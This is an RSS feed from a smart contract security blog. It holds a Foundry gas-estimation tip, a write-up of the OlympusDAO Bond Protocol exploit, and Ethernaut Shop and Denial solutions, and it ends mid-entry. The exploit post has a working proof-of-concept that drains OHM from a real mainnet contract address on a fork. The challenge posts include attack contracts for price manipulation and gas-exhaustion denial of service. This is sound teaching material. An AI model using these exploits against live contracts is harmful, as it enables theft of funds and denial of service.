<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>0xbanky</title>
        <link>https://paragraph.com/@banky</link>
        <description>Writing about security, MEV, privacy and decentralized finance</description>
        <lastBuildDate>Sun, 12 Apr 2026 01:34:23 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <image>
            <title>0xbanky</title>
            <url>https://storage.googleapis.com/papyrus_images/f575783918cd02d6b5a2e80a918a07db11e024baa14eca04f56871d386e3a8bd.jpg</url>
            <link>https://paragraph.com/@banky</link>
        </image>
        <copyright>All rights reserved</copyright>
        <item>
            <title><![CDATA[Estimating deployment costs with Forge]]></title>
            <link>https://paragraph.com/@banky/estimating-deployment-costs-with-forge</link>
            <guid>r1WLCseNc9yPVa4sXVe3</guid>
            <pubDate>Mon, 18 Sep 2023 03:52:25 GMT</pubDate>
            <description><![CDATA[Simply include the -i / --interactive option to enter interactive mode. For example$ forge script script/Deploy.s.sol --rpc-url &#x3C;rpc_url> --broadcast --verify -vvvv --sender &#x3C;wallet_address> -i 1 While running the script, you will now be prompted with a message similar to this========================== Chain 5 Estimated gas price: 3.00000002 gwei Estimated total gas used for script: 3524127 Estimated amount required: 0.01057238107048254 ETH ========================== ### Finding wal...]]></description>
            <content:encoded><![CDATA[<p>Simply include the <code>-i</code> / <code>--interactive</code> option to enter interactive mode. For example</p><pre data-type="codeBlock" text="$ forge script script/Deploy.s.sol --rpc-url &lt;rpc_url&gt; --broadcast --verify -vvvv --sender &lt;wallet_address&gt; -i 1
"><code>$ forge script script<span class="hljs-operator">/</span>Deploy.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url <span class="hljs-operator">&#x3C;</span>rpc_url<span class="hljs-operator">></span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>verify <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>sender <span class="hljs-operator">&#x3C;</span>wallet_address<span class="hljs-operator">></span> <span class="hljs-operator">-</span>i <span class="hljs-number">1</span>
</code></pre><p>While running the script, you will now be prompted with a message similar to this</p><pre data-type="codeBlock" text="==========================

Chain 5

Estimated gas price: 3.00000002 gwei

Estimated total gas used for script: 3524127

Estimated amount required: 0.01057238107048254 ETH

==========================

###
Finding wallets for all the necessary addresses...
Enter private key:
"><code><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

Chain <span class="hljs-number">5</span>

Estimated gas price: <span class="hljs-number">3.00000002</span> <span class="hljs-literal">gwei</span>

Estimated total gas used <span class="hljs-keyword">for</span> script: <span class="hljs-number">3524127</span>

Estimated amount required: <span class="hljs-number">0</span><span class="hljs-number">.01057238107048254</span> ETH

<span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span><span class="hljs-operator">=</span>

###
Finding wallets <span class="hljs-keyword">for</span> all the necessary addresses...
Enter <span class="hljs-keyword">private</span> key:
</code></pre><p>As you can see, forge pauses before completing the deployment to ask for your private key. You can now check the estimated amount of ETH required for the transaction.</p><p>This is a life saver especially when deploying large contracts during periods of high on-chain activity where you may want to avoid accidentally spending a lot of money on transaction fees before you have a chance to agree to the estimate.</p><p>If you found this helpful, support my work by collecting an NFT of this piece!</p>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[OlympusDAO $300,000 exploit]]></title>
            <link>https://paragraph.com/@banky/olympusdao-300-000-exploit</link>
            <guid>hmDpJ5gNiPYKej1ghUiK</guid>
            <pubDate>Sun, 23 Oct 2022 20:41:28 GMT</pubDate>
            <description><![CDATA[Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...]]></description>
            <content:encoded><![CDATA[<p>Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.</p><h1 id="h-background" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Background</h1><p>First a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By doing this, OlympusDAO maintains a large share of the LP tokens on OHM trading pairs, which provides income to the DAO in trading fees.</p><p>On October 6th, OlympusDAO announced that it was launching bonding with Bond Protocol. This is when the vulnerable code went live. The attack transaction of interest can be seen on etherscan here:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf">https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf</a></p><p>You might notice that this was a private transaction which was not sent to the mem pool, but rather was sent directly to miners. The reasons for this are fascinating and I’ll discuss them in another post. For now, the transaction trace can be seen here:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://tx.eth.samczsun.com/ethereum/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf">https://tx.eth.samczsun.com/ethereum/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf</a></p><p>From the trace, we see that the vulnerability lies in the <code>redeem()</code> function. Taking a look at Bond Protocol’s smart contracts, the function looks like this</p><pre data-type="codeBlock" text="function redeem(ERC20BondToken token_, uint256 amount_) 
external 
override 
nonReentrant {
    if (uint48(block.timestamp) &lt; token_.expiry())
        revert Teller_TokenNotMatured(token_.expiry());
    token_.burn(msg.sender, amount_);
    token_.underlying().transfer(msg.sender, amount_);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">redeem</span>(<span class="hljs-params">ERC20BondToken token_, <span class="hljs-keyword">uint256</span> amount_</span>) 
<span class="hljs-title"><span class="hljs-keyword">external</span></span> 
<span class="hljs-title"><span class="hljs-keyword">override</span></span> 
<span class="hljs-title">nonReentrant</span> </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">uint48</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>) <span class="hljs-operator">&#x3C;</span> token_.expiry())
        <span class="hljs-keyword">revert</span> Teller_TokenNotMatured(token_.expiry());
    token_.burn(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount_);
    token_.underlying().<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, amount_);
}
</code></pre><p>Let’s take a close look at what is going on here. First, it checks to make sure that the <code>expiry()</code> function of the requested token is at a later time than the current block. Next, it burns the amount of bonded tokens the user wants to redeem and then transfers the <code>underlying</code> token to the user. The underlying token here are the OHM tokens.</p><p>The key to this exploit is noticing that there is no check here to make sure that the users balance is greater than the amount of tokens being transferred. In addition to this, there is no whitelist to make sure that the token passed in is not malicious. Thus, an attacker can just request all of the available tokens and this contract will send them. This can be done with a malicious wrapping token and using that to request all of the tokens in the contract.</p><h1 id="h-proof-of-concept" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Proof of concept</h1><p>To demonstrate this attack, we can use a Foundry test suite. With Foundry, we can fork the ethereum mainnet locally and run our code at a specified block.</p><p>First, we define the interface of the victim contract along with a compromised bonding token</p><pre data-type="codeBlock" text="address constant OHM_TOKEN = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;
address constant BOND_FIXED_EXPIRY_TELLER = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;

interface IBondFixedExpiryTeller {
    function redeem(OlympusDaoExploitToken token, uint256 amount) external;
}

contract OlympusDaoExploitToken {
    uint48 public expiry = uint48(block.timestamp) - 1 minutes;
    address public underlying = OHM_TOKEN;

    function burn(address caller, uint256 amount) external {}
}
"><code><span class="hljs-keyword">address</span> <span class="hljs-keyword">constant</span> OHM_TOKEN <span class="hljs-operator">=</span> <span class="hljs-number">0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5</span>;
<span class="hljs-keyword">address</span> <span class="hljs-keyword">constant</span> BOND_FIXED_EXPIRY_TELLER <span class="hljs-operator">=</span> <span class="hljs-number">0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IBondFixedExpiryTeller</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">redeem</span>(<span class="hljs-params">OlympusDaoExploitToken token, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">OlympusDaoExploitToken</span> </span>{
    <span class="hljs-keyword">uint48</span> <span class="hljs-keyword">public</span> expiry <span class="hljs-operator">=</span> <span class="hljs-keyword">uint48</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>) <span class="hljs-operator">-</span> <span class="hljs-number">1</span> <span class="hljs-literal">minutes</span>;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> underlying <span class="hljs-operator">=</span> OHM_TOKEN;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">burn</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> caller, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{}
}
</code></pre><p>Next, we can create our test contract which will attack the <code>BondFixedExpiryTeller</code> contract.</p><pre data-type="codeBlock" text="contract OlympusDaoHack is Test {
    OlympusDaoExploitToken exploitToken;
    IBondFixedExpiryTeller expiryTellerContract;
    address attacker;

    function setUp() public {
        exploitToken = new OlympusDaoExploitToken();
        expiryTellerContract = IBondFixedExpiryTeller(BOND_FIXED_EXPIRY_TELLER);
        
        // This just creates a random looking address
        attacker = payable(
            address(uint160(uint256(keccak256(abi.encodePacked(&quot;attacker&quot;)))))
        );
    }

    function testExploit() public {
        // Send all messages from the attacker
        vm.startPrank(attacker);
        uint256 amount = IERC20(OHM_TOKEN).balanceOf(BOND_FIXED_EXPIRY_TELLER);

        expiryTellerContract.redeem(exploitToken, amount);
        console.log(&quot;Attacker balance&quot;, IERC20(OHM_TOKEN).balanceOf(attacker));
        vm.stopPrank();

        assertEq(IERC20(OHM_TOKEN).balanceOf(attacker), amount);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">OlympusDaoHack</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    OlympusDaoExploitToken exploitToken;
    IBondFixedExpiryTeller expiryTellerContract;
    <span class="hljs-keyword">address</span> attacker;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        exploitToken <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> OlympusDaoExploitToken();
        expiryTellerContract <span class="hljs-operator">=</span> IBondFixedExpiryTeller(BOND_FIXED_EXPIRY_TELLER);
        
        <span class="hljs-comment">// This just creates a random looking address</span>
        attacker <span class="hljs-operator">=</span> <span class="hljs-keyword">payable</span>(
            <span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-string">"attacker"</span>)))))
        );
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testExploit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// Send all messages from the attacker</span>
        vm.startPrank(attacker);
        <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> IERC20(OHM_TOKEN).balanceOf(BOND_FIXED_EXPIRY_TELLER);

        expiryTellerContract.redeem(exploitToken, amount);
        console.log(<span class="hljs-string">"Attacker balance"</span>, IERC20(OHM_TOKEN).balanceOf(attacker));
        vm.stopPrank();

        assertEq(IERC20(OHM_TOKEN).balanceOf(attacker), amount);
    }
}
</code></pre><p>Now, we can simulate being the attacker by forking mainnet at the block right before the attack happened (15794363). This can be accomplished using the following command</p><pre data-type="codeBlock" text="forge test -vv --match-contract OlympusDaoHack --fork-url &lt;RPC_URL&gt; --fork-block-number 15794363
"><code>forge test <span class="hljs-operator">-</span>vv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">OlympusDaoHack</span> --<span class="hljs-title">fork</span>-<span class="hljs-title">url</span> &#x3C;<span class="hljs-title">RPC_URL</span>> --<span class="hljs-title">fork</span>-<span class="hljs-title"><span class="hljs-built_in">block</span></span>-<span class="hljs-title">number</span> 15794363
</span></code></pre><p>Running this yields the following output</p><pre data-type="codeBlock" text="Running 1 test for test/OlympusDaoHack.t.sol:OlympusDaoHack
[PASS] testExploit() (gas: 55982)
Logs:
  Attacker balance 30437077948152
"><code>Running <span class="hljs-number">1</span> test <span class="hljs-keyword">for</span> test<span class="hljs-operator">/</span>OlympusDaoHack.t.sol:OlympusDaoHack
[PASS] testExploit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">55982</span>)
Logs:
  Attacker balance <span class="hljs-number">30437077948152</span>
</code></pre><p>The attackers new balance is 30437077948152, which is exactly what we saw the attacker stole IRL.</p><h1 id="h-final-thoughts" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Final thoughts</h1><p>There are a few things that can be learned from this attack. Firstly, when doing a token transfer out of a contract, it is <strong>imperative</strong> to ensure that the requester actually owns the amount of tokens they are requesting. This exploit would not have been possible if there was a simple balance check.</p><p>Secondly, the attack would also not have been possible if the Bond tokens had been whitelisted. Thus, it was possible to have a malicious Bond token which points to something that it doesn’t actually wrap as the underlying token.</p>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/cd348fd5692dff54feaa7cfe62932ebb9d44d6270be843537e81e93eef86de5f.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Ethernaut 18: Shop]]></title>
            <link>https://paragraph.com/@banky/ethernaut-18-shop</link>
            <guid>cdz0aAoahqymhenWYtyw</guid>
            <pubDate>Fri, 09 Sep 2022 23:06:38 GMT</pubDate>
            <description><![CDATA[This challenge deals with changing state on a contract based on the returned value from calling another contract.InvestigationWe’ve been asked to get the item in the contract sold for a price that is less than the one that is required. The contract looks like this// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface Buyer { function price() external view returns (uint); } contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg....]]></description>
            <content:encoded><![CDATA[<p>This challenge deals with changing state on a contract based on the returned value from calling another contract.</p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>We’ve been asked to get the item in the contract sold for a price that is less than the one that is required. The contract looks like this</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() &gt;= price &amp;&amp; !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Buyer</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Shop</span> </span>{
  <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> price <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
  <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isSold;

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Buyer _buyer <span class="hljs-operator">=</span> Buyer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-keyword">if</span> (_buyer.price() <span class="hljs-operator">></span><span class="hljs-operator">=</span> price <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-operator">!</span>isSold) {
      isSold <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
      price <span class="hljs-operator">=</span> _buyer.price();
    }
  }
}
</code></pre><p>We need to call the <code>Shop</code> contract from a contract that implements the <code>Buyer</code> interface. The second thing to note is that the call to <code>price</code> in the <code>Buyer</code> contract will need to change to a value that is less than 100 the second time it is called.</p><p>Since the <code>price</code> function needs to have a <code>view</code> modifier, it cannot update state. Therefore, the <code>Buyer</code> contract cannot simply keep track of how many times <code>price</code> has been called internally.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>The key to solving this challenge is that the <code>Buyer</code> function can read the state of <code>Shop</code>. In the <code>Shop</code> contract, the <code>isSold</code> variable is updated to <code>true</code> before the price is set and <code>_buyer.price()</code> is called again. This issue could be resolved by ensuring <code>_buyer.price()</code> is called only once and storing the returned value locally. However, for us this is an attack vector.</p><p>My attack contract looks like this</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Buyer {
  Shop shop;

  constructor(address _shopAddress) {
      shop = Shop(_shopAddress);
  }

  function price() external view returns (uint) {
      if (!shop.isSold()) {
          return 120;
      } else {
          return 10;
      }
  }

  function attack() public {
      shop.buy();
  }
}

interface Shop {
  function buy() external;
  function isSold() view external returns (bool);
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Buyer</span> </span>{
  Shop shop;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _shopAddress</span>) </span>{
      shop <span class="hljs-operator">=</span> Shop(_shopAddress);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
      <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>shop.isSold()) {
          <span class="hljs-keyword">return</span> <span class="hljs-number">120</span>;
      } <span class="hljs-keyword">else</span> {
          <span class="hljs-keyword">return</span> <span class="hljs-number">10</span>;
      }
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
      shop.buy();
  }
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Shop</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isSold</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}
</code></pre><p>Here, I simply check the value of <code>isSold</code> on the <code>Shop</code> contract and change the value that is returned from <code>price</code> if it is. The key takeaway here is that <code>view</code> functions may not modify state themselves, but they can change their behaviour based on external state modifications.</p><h1 id="h-what-i-learned" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h1><ol><li><p>It&apos;s unsafe to change the state based on external and untrusted contracts logic.</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 17: Denial]]></title>
            <link>https://paragraph.com/@banky/ethernaut-17-denial</link>
            <guid>EcT7Q3QsMPgVGcytqWPF</guid>
            <pubDate>Fri, 09 Sep 2022 22:22:16 GMT</pubDate>
            <description><![CDATA[This one is pretty straightforward since it builds on principles from previous challenges. Here, we want to deny service to the owner of the contract, making it impossible for them to perform withdrawals.InvestigationHere is the contract// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Denial { using SafeMath for uint256; address public partner; // withdrawal partner - pay the gas, split the withdraw address payable public con...]]></description>
            <content:encoded><![CDATA[<p>This one is pretty straightforward since it builds on principles from previous challenges. Here, we want to deny service to the owner of the contract, making it impossible for them to perform withdrawals.</p><h1 id="h-investigation" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Investigation</h1><p>Here is the contract</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &apos;@openzeppelin/contracts/math/SafeMath.sol&apos;;

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address =&gt; uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}(&quot;&quot;);
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Denial</span> </span>{

    <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> partner; <span class="hljs-comment">// withdrawal partner - pay the gas, split the withdraw</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> owner <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0xA9E</span>);
    <span class="hljs-keyword">uint</span> timeLastWithdrawn;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) withdrawPartnerBalances; <span class="hljs-comment">// keep track of partners balances</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setWithdrawPartner</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _partner</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        partner <span class="hljs-operator">=</span> _partner;
    }

    <span class="hljs-comment">// withdraw 1% to recipient and 1% to owner</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> amountToSend <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>.div(<span class="hljs-number">100</span>);
        <span class="hljs-comment">// perform a call without checking return</span>
        <span class="hljs-comment">// The recipient can revert, the owner will still get their share</span>
        partner.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>:amountToSend}(<span class="hljs-string">""</span>);
        owner.<span class="hljs-built_in">transfer</span>(amountToSend);
        <span class="hljs-comment">// keep track of last withdrawal time</span>
        timeLastWithdrawn <span class="hljs-operator">=</span> <span class="hljs-built_in">now</span>;
        withdrawPartnerBalances[partner] <span class="hljs-operator">=</span> withdrawPartnerBalances[partner].add(amountToSend);
    }

    <span class="hljs-comment">// allow deposit of funds</span>
    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-comment">// convenience function</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">contractBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre><p>This contract allows us to set the <code>partner</code> to be any address. When we call <code>withdraw</code>, we pay the gas fees and get a small amount of the funds. The owner gets the same amount of funds.</p><h1 id="h-solution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Solution</h1><p>When transferring funds to another address, we need to take care because that address might be another contract that can run code. The EVM will run the code in the <code>receive</code> function of the called contract no matter what it is. That code can revert, exhaust gas etc. This is exactly what we will be doing to crack this challenge. This is my simple attack contract</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DenialAttack {

    receive () payable external {
        while (true) {}
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DenialAttack</span> </span>{

    <span class="hljs-function"><span class="hljs-keyword">receive</span> (<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {}
    }
}
</code></pre><p>Here, call an infinite loop in the <code>receive</code> function to exhaust the gas that was sent. This makes it impossible for the owner to access their funds. This can also be solved by doing a <code>revert</code> or <code>assert(false)</code> in the <code>receive</code> function.</p><h1 id="h-what-i-learned" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">What I learned</h1><ol><li><p>Sending ether to an address needs to be done carefully because it might be a contract on the other side which will run malicious code</p></li></ol>]]></content:encoded>
            <author>banky@newsletter.paragraph.com (0xbanky)</author>
        </item>
        <item>
            <title><![CDATA[Ethernaut 16: Alien Codex]]></title>
